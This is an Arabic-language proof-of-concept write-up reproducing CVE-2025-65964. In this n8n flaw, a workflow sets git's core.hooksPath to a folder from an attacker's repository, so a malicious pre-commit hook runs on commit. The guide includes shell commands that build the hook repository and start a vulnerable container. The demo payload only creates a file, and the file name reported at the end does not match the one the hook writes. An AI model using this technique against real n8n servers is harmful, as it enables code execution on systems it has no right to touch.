
إعادة إنتاج CVE-2025-65964
أولاً، جهّز مستودعًا يحتوي على ملف خبيث.
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <仓库地址>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
بعد ذلك، شغّل حاوية docker محليًا لإصدار n8n متأثر بالثغرة. نطاق تأثير هذه الثغرة واسع جدًا؛ جميع الإصدارات 0.123.1 ≤ n8n < 1.119.2 متأثرة، ونحن نستخدم هنا الإصدار 1.64.3.
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
أولاً، فيما يلي سلسلة الهجوم الكاملة لإصدار 1.64.3.
تظهر الإعدادات كما في الصورة.
هذه العقدة والعقدة التالية موجودتان لأن git يسمح بعمل Commit فقط عندما تتغير الملفات، لذا نحتاج أولاً إلى كتابة ملف عشوائي داخل المستودع.
تظهر الإعدادات كما في الصورة.

اكتب الملف إلى المستودع.
تظهر الإعدادات كما في الصورة.

هاتان العقدتان مطلوبتان لأن عملية commit تحتاج إلى email وusername، فقط اكتب أي قيمتين.
تظهر الإعدادات كما في الصورة.


الخطوة الأساسية: اجعل core.hooksPath يشير إلى المجلد الخبيث الذي نزّلناه، مما يُجبر git على البحث في المجلد الذي نحدده عند تنفيذ hook (الافتراضي هو .git/hooks).
(يبدو أنها من نفس فئة اختطاف LD_PRELOAD وما شابه ذلك).
تظهر الإعدادات كما في الصورة.

تُستخدم هذه الخطوة لتفعيل الثغرة وتنفيذ الـ hook المعدّل.
تظهر الإعدادات كما في الصورة.

بعد تكوين هذه العقد، شغّل سير العمل فقط.
ثم لاحظ داخل docker أنه تم إنشاء الملف الخبيث pwned_without_exec_node بالفعل.